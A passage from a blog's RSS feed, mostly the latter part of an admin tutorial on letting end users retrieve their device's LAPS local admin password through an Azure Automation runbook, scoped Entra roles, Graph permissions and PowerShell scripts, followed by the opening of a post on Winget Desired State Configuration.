<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Script needs to sleep for a few seconds so the mail can get send and delivered</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Start-Sleep</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Seconds </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">5</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Get the send mail ID</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$mails </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $mails </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> get-MgUserMessage</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">UserId $EntraUserID </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Filter </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Subject eq 'LAPS'"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> select Id</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Delete the send LAPS mail</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">remove-MgUserMessage</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">UserId $EntraUserID </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">MessageId $mails.id[</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]</span></span></code></pre>
</div><ol start="6">
<li>Confirm the publishing at the end.</li>
</ol>
<img src="\m365\laps\create_runbook2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="550" loading="lazy"/>
<hr>
<h3 id="roles" tabindex="-1">Roles <a class="header-anchor" href="#roles" aria-label="Permalink to &quot;Roles&quot;">&ZeroWidthSpace;</a></h3>
<p>After creating the runbook, we need to set up the access to the LAPS passwords for the runbook.</p>
<ol>
<li>For that we first open the <strong>Entra admin center</strong> -&gt; <a href="https://enroles.cmd.ms" target="_blank" rel="noreferrer">Roles &amp;  admins</a> and click <code>➕ New custom role</code>.</li>
<li>Enter the <strong>Name</strong>, a good <strong>Description</strong> about what the role does and select <code>Start from scratch</code>.</li>
</ol>
<img src="\m365\laps\create_role1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="3">
<li>Click <code>Next</code> and select the following permissions to read the LAPS passwords, the users and the devices of the users.
<ul>
<li><code>microsoft.directory/deviceLocalCredentials/password/read</code></li>
<li><code>microsoft.directory/devices/registeredOwners/read</code></li>
<li><code>microsoft.directory/users/identities/read</code></li>
</ul>
</li>
<li>Then click <code>Next</code>again and <code>Create</code>.</li>
</ol>
<img src="\m365\laps\create_role2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="5">
<li>Next click on the newly created role and you will get to the <strong>Assignments</strong> page for the role.
Click <code>➕ New assignment</code>, search for the name of the previously created automation account, select it and click <code>Add</code>.</li>
</ol>
<img src="\m365\laps\create_role5.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>You can not select the service principal from the list of users without searching, because service principals will not get listed by deafult.
This is so that you will not be overwhelmed with Service Principals when selecting a user or group.</p>
<img src="\m365\laps\create_role3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="450" loading="lazy"/>
<img src="\m365\laps\create_role4.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="450" loading="lazy"/>
</div>
<hr>
<h3 id="enterprise-app" tabindex="-1">Enterprise App <a class="header-anchor" href="#enterprise-app" aria-label="Permalink to &quot;Enterprise App&quot;">&ZeroWidthSpace;</a></h3>
<p>Once the custom role is created and assigned, you must also assign the appropriate Graph API permissions to the automation account.
This step ensures that the Managed Identity, which acts as the security principal for the PowerShell execution, possesses the necessary authorization to interact with Microsoft Graph.</p>
<p>Because these permissions cannot be assigned via the Portal UI, you must use PowerShell to grant them:</p>
<div class="language-PowerShell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">PowerShell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Makes sure that the Entra PowerShell Module is installed and importet</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$module </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-InstalledModule</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name Microsoft.Entra</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">!</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$module){</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">  Install-Module</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name Microsoft.Entra </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Repository PSGallery </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scope CurrentUser </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Force </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AllowClobber</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Import-module</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Microsoft.Entra</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Connect to Graph</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Connect-Entra</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scopes </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'Application.ReadWrite.All'</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Define the required permissions</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$permissions </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'Device.Read.All'</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'Mail.ReadWrite'</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'User.Read.All'</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'DeviceLocalCredential.Read.All'</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'Mail.Send'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Get the IDs for your Service Principal and MS Graph</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># IMPORTANT! Change the AppName (aa-getLAPS) here to the Name you used!</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$clientServicePrincipal </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-EntraServicePrincipal</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Filter </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"displayName eq 'aa-getLAPS'"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$resourceServicePrincipal </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-EntraServicePrincipal</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Filter </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"displayName eq 'Microsoft Graph'"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Iterates through the permissions and sets them up</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">($permission </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $permissions){</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  $appRole </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $resourceServicePrincipal.AppRoles </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.Value </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $permission }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  $appRoleAssignment </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> New-EntraServicePrincipalAppRoleAssignment</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ObjectId $clientServicePrincipal.Id </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">PrincipalId $clientServicePrincipal.Id </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Id $appRole.Id </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ResourceId $resourceServicePrincipal.Id</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  $appRoleAssignment </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Format-List</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Id</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> AppRoleId</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> CreatedDateTime</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> PrincipalDisplayName</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> PrincipalId</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> PrincipalType</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ResourceDisplayName</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><img src="\m365\laps\enterpriseapp4.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/>
<p>Now that we set up the permissions, you can check them in the portal:</p>
<ol>
<li>Open the <strong>Entra admin center</strong> -&gt; <a href="https://enapps.cmd.ms" target="_blank" rel="noreferrer">Enterprise apps</a>, set the <strong>Application type</strong> to <code>All Applications</code> and search for the name of your previously created automation account.</li>
</ol>
<img src="\m365\laps\enterpriseapp1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<ol start="2">
<li>Open the app and select <strong>Security</strong> -&gt; <strong>Permissions</strong>.</li>
</ol>
<p>Here you can now see the Graph API permissions we set up.</p>
<table>
<thead>
<tr>
<th>Before</th>
<th>After</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="\m365\laps\enterpriseapp2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/></td>
<td><img src="\m365\laps\enterpriseapp3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/></td>
</tr>
</tbody>
</table>
<hr>
<h3 id="enduser-permission" tabindex="-1">Enduser permission <a class="header-anchor" href="#enduser-permission" aria-label="Permalink to &quot;Enduser permission&quot;">&ZeroWidthSpace;</a></h3>
<p>The enduser also needs permissions to trigger the runbook, for which we need a group.</p>
<ol>
<li>You can create one by opening the <strong>Entra admin center</strong> -&gt; <a href="https://engroups.cmd.ms" target="_blank" rel="noreferrer">Groups</a> and click <code>New group</code>.</li>
<li>Enter your <strong>Name</strong>, <strong>Description</strong> and select your <strong>users</strong> and the <strong>group owner</strong>.</li>
<li>Click <code>Create</code> to create the group.</li>
</ol>
<img src="\m365\laps\create_group.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/>
<p>Now that we got a group, we give it permission to start the runbook.
We can use a built-in role or create a custom role for least privilege.</p>
<ol>
<li>To get started, you open the <strong>Azure admin Portal</strong> -&gt; <a href="https://azauto.cmd.ms" target="_blank" rel="noreferrer">Automation Accounts</a> and select the previously created <strong>Automation Account</strong>.</li>
<li>To create a custom role you select <strong>Access control (IAM)</strong> -&gt; <strong>Roles</strong> search for the <code>Automation Job Operator</code>, click on the 3 dots on the right and select <code>Clone</code>.</li>
</ol>
<img src="\m365\laps\create_runbook_role1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="3">
<li>Next you enter a <strong>Name</strong>, <strong>Description</strong> and click <code>Next</code>.</li>
</ol>
<img src="\m365\laps\create_runbook_role2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="450" loading="lazy"/>
<ol start="4">
<li>In the <strong>Permissions</strong> tab you remove all permissions except the following 2:
<ul>
<li><code>Microsoft.Automation/automationAccounts/jobs/read</code></li>
<li><code>Microsoft.Automation/automationAccounts/jobs/write</code></li>
</ul>
</li>
<li>In addition, add the following with <code>➕ Add permissions</code>:
<ul>
<li><code>Microsoft.Automation/automationAccounts/runbooks/read</code></li>
</ul>
</li>
<li>Then you can click <code>Review + Create</code> and <code>Create</code> again, because the <strong>Assignable scopes</strong> will automatically be set to the current <strong>Automation Account</strong>.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Like this the users can only <span style="color:crimson">start a job</span> and <span style="color:crimson">only in this specific automation account</span>.</p>
</div>
<img src="\m365\laps\create_runbook_role3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<p>Now we need to assign the custom or build-in role:</p>
<ol>
<li>Back in the Automation Account, you select <strong>Access control (IAM)</strong> again, click <code>➕ Add</code> and <code>Add role assignment</code>.</li>
</ol>
<img src="\m365\laps\assign_runbook_role0.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="2">
<li>Now select either the previously created custom role or the built-in <a href="https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles/management-and-governance#automation-job-operator" target="_blank" rel="noreferrer">Automation Job Operator</a> role and click <code>Next</code>.</li>
</ol>
<img src="\m365\laps\assign_runbook_role1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="450" loading="lazy"/>
<ol start="3">
<li>Here select the <strong>Group</strong> we created earlier, add it with <code>➕ Select members</code>, click <code>Review ➕ assign</code> and then <code>Review ➕ assign</code> again.</li>
</ol>
<img src="\m365\laps\assign_runbook_role2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/>
<h2 id="user-experience" tabindex="-1">👤 User Experience <a class="header-anchor" href="#user-experience" aria-label="Permalink to &quot;:bust_in_silhouette: User Experience&quot;">&ZeroWidthSpace;</a></h2>
<p>Now that everything is set up, the enduser can request their LAPS password without any privileged access.
For that you can use the following PowerShell script, integrate that into one of your self-service portals, use power automate or Logic Apps.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you want your users to just execute something simple, I packed the script into an .exe with a simple GUI that you can deploy via Intune (<a href="https://github.com/Vejitaxp/michaelsendpoint_public/tree/a4c8149e1ee9430fbdf3c74782bb268c95eec41b/m365/getLAPS" target="_blank" rel="noreferrer">Download</a>). <span style="color:crimson">But be aware that I used the resource names seen in this article for the exe.</span></p>
<table>
<thead>
<tr>
<th><img src="\m365\laps\getLAPSexe1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/></th>
<th><img src="\m365\laps\getLAPSexe2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/></th>
</tr>
</thead>
</table>
</div>
<p>To execute the script the user does not need any license or other permissions except to be a member of the group we created earlier.
<span style="color:crimson">But be aware that the user needs a mailbox to be able to receive the LAPS password via mail.</span></p>
<div class="language-PowerShell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">PowerShell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Install and/or Import the required modules</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$required </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> 'Az.Accounts'</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'Az.Automation'</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $required) {</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">  if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-not</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-Module</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ListAvailable </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name $name)) {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Installing module </span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$name</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">..."</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Install-Module</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name $name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scope CurrentUser </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Force </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AllowClobber </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ErrorAction Stop</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  }</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">  Import-Module</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ErrorAction Stop</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Connect to Azure</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">connect-azAccount</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Get the current user's UPN and Entra User ID</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$upn </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-AzContext</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">).Account.Id</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$userid </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-AzAdUser</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">UserPrincipalName $upn</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Start the Automation Runbook with the Entra User ID as parameter</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$param </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  Name                  </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "ru-getLAPS"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  AutomationAccountName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "aa-getLAPS"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  ResourceGroupName     </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "rg-getLAPS"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  Parameters            </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{ EntraUserID </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $userid.id }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Start-AzAutomationRunbook</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> @param</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Disconnect from Azure</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">disconnect-azAccount</span></span></code></pre>
</div><img src="\m365\laps\PS.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="550" loading="lazy"/>
<p>A few moments later the user will receive an email with their LAPS passwords in their inbox.</p>
<img src="\m365\laps\mail.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="550" loading="lazy"/>
<p>The admin can also inspect the job execution in the Azure Portal under the <strong>Automation Account</strong> or in the <strong>Runbook</strong>.
<span style="color:crimson">The actual email content / LAPS passwords will not be visible in the job output in the <b>runbook jobs</b> tab, so a person without the proper permissions will not be able to access them.</span></p>
<img src="\m365\laps\job1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="550" loading="lazy"/>
<img src="\m365\laps\job2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="550" loading="lazy"/>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>This approach provides a simple, auditable way to deliver LAPS passwords to end users without granting them broad access.
By using an Automation Account with a managed identity and scoped Graph permissions, you centralize sensitive operations while minimizing privileged access.</p>
<p>With this self-service setup, you can enrich your environment even if you already use an Endpoint Privilege Management (EPM) solution, as it provides a quick and easy way to give admin access to a users whole device.
So no matter if you plan to use it with admins or endusers, this provides a flexible, least-privilege self-service solution to a problem as old as client-server setups itself.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Winget DSC | Powershell]]></title>
            <link>https://michaelsendpoint.com/powershell/winget_dsc.html</link>
            <guid>https://michaelsendpoint.com/powershell/winget_dsc.html</guid>
            <pubDate>Mon, 23 Feb 2026 21:57:47 GMT</pubDate>
            <description><![CDATA[Desired State Configuration with the Windows Package Manager.]]></description>
            <content:encoded><![CDATA[<img src="\powershell_dsc\banner.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="550" loading="lazy"/>
<p>&nbsp;</p>
<h1 id="winget-dsc-desired-state-configuration" tabindex="-1">Winget DSC (Desired State Configuration) <a class="header-anchor" href="#winget-dsc-desired-state-configuration" aria-label="Permalink to &quot;Winget DSC (Desired State Configuration)&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p><strong>Desired State Configuration (DSC)</strong> is a feature that automatically keeps IT infrastructure in a defined, consistent desired state
It provides drift control by ensuring that systems automatically conform to this defined state, maintaining consistency and correcting any deviations.</p>
<p>DSC can do stuff like keeping your applications up to date, ensuring services are running, applying configuration settings and managing files.
These tasks help maintain consistency, security, and functionality across user devices with minimal manual intervention.</p>
